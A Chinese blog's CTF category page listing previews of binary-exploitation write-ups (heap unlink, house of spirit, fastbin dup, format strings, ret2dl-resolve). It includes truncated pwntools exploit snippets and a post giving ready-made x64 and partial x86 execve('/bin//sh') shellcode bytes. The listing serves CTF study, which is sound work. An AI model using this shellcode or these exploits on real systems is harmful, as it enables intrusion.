![](https://img-blog.csdnimg.cn/20201014180756754.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
ctf
文章平均质量分 64
九层台
这个作者很懒,什么都没留下…
展开
-
网鼎杯玄武pwn(第四场)
pwn1就是爆破一下,记下来以后接着用from pwn import *p = remote('182.92.212.76', 31204)p.recvuntil('x[:20] = ')target = p.recvuntil('\n',True)p.recvuntil('<built-in function openssl_')x = p.recvuntil('>',True)funtable = { "sha224":hashlib.sha224, "md5原创 2020-05-21 20:02:07 · 468 阅读 · 1 评论 -
l-ctf2016–pwn200 hose-of-spirite
这里看可以输入48个字节,最后没有跟00能够泄露出来rbp从ida上面看是这样的,id并没有保存。但是实际上id被保存到了这里。var_38被定义为刚好再输入的name上面。在栈上显示如下图#coding=utf-8from pwn import *context(arch='amd64',os='linux')context.log_level = 'debug'p =...原创 2020-03-09 19:31:12 · 460 阅读 · 0 评论 -
Hitcon 2016 SleepyHolder-fastbin_dup_consolidate
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <signal.h>#include <fcntl.h>#include <sys/stat.h>#include <sys/types.h>#define BASE 4...原创 2020-03-08 13:30:48 · 437 阅读 · 0 评论 -
angr使用[3]--使用技巧
0x08对探索结果添加限制#跳过一些函数来求解import angrimport claripyimport sysimport binasciidef main(argv): path_to_binary = "08_angr_constraints" project = angr.Project(path_to_binary) start_address = 0x...原创 2020-01-04 09:25:51 · 1385 阅读 · 0 评论 -
2019全国大学生信息安全竞赛pwn[数组越界任意写,doublefree,ret2dl-resolve]
0x01your_pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled保护全开的栈地址任意写v4的索引是可以输入的,也会输出v4数组的内容。比较麻烦的是每次只能读写一...原创 2019-04-25 17:11:30 · 1772 阅读 · 0 评论 -
好用的shellcode
给师傅要了一组好用的shellcode1.短。2.没有空格符,换行符好用shellcode :shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"shellcode_x86 = "\x31\xc9\xf7\xe1\x51...原创 2019-01-25 16:11:17 · 658 阅读 · 0 评论 -
hctf[pwn]babyprintf_ver2
0x01程序分析程序给出了data段的地址,然后允许向这个地址处输入0x1ff个字节。这个data段到底存的是什么呢?pwndbg> print $rbx + $rax$1 = 0x555555756011pwndbg> x /50xg 0x5555557560110x555555756011: 0x7200676664647364 0x200000000000646c...原创 2018-11-15 22:21:14 · 806 阅读 · 0 评论 -
pwnable(otp)(open,read等函数的检查缺失)
远程拷贝文件到本地 scp -P 2222 otp@pwnable.kr:/home/otp/opt .学习到的函数strtoul(argv[1], 0, 16)str转化位long,以16进制方式。#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h&...原创 2018-09-30 17:30:27 · 386 阅读 · 0 评论 -
pwnable(simple login)leave和ret的深入研究
通常栈溢出获取shell的方法是覆盖返回地址,但是如果溢出只允许覆盖到ebp该怎么办呢?Leave的作用相当==mov esp,ebp和pop ebpWin32汇编中局部变量的使用方法可以解释一个很有趣的现象:在DOS汇编的时候,如果在子程序中的push指令和pop指令不配对,那么返回的时候ret指令从堆栈里得到的肯定是错误的返回地址,程序也就死掉了。但在Win32汇编中,push指令和pop...原创 2018-09-30 13:32:24 · 590 阅读 · 0 评论 -
pwnable md5 calculator(随机数生成)
开启了canary和NX保护int __cdecl main(int argc, const char **argv, const char **envp){ unsigned int v3; // eax int v5; // [esp+18h] [ebp-8h] int v6; // [esp+1Ch] [ebp-4h] setvbuf(stdout, 0, 1, 0);...原创 2018-09-28 22:16:06 · 486 阅读 · 0 评论 -
jarvisoj(level6)--unlink
unlink其实就是把chunk从bin链中拉出来然后跟前面或者后面的chunk合并。参考https://ctf-wiki.github.io/ctf-wiki/pwn/linux/heap/unlink/。则当我们free(Q)时glibc 判断这个块是 small chunk。判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并。判断后向合并,发现后一个 chunk ...原创 2018-09-21 22:14:43 · 1562 阅读 · 2 评论 -
ISG
题目链接 https://github.com/tower111/software junkcode查看check函数pwndbg> disassemble checkDump of assembler code for function check: 0x080484fb <+0>: push ebp 0x080484fc <+1>...原创 2018-09-02 19:26:38 · 632 阅读 · 0 评论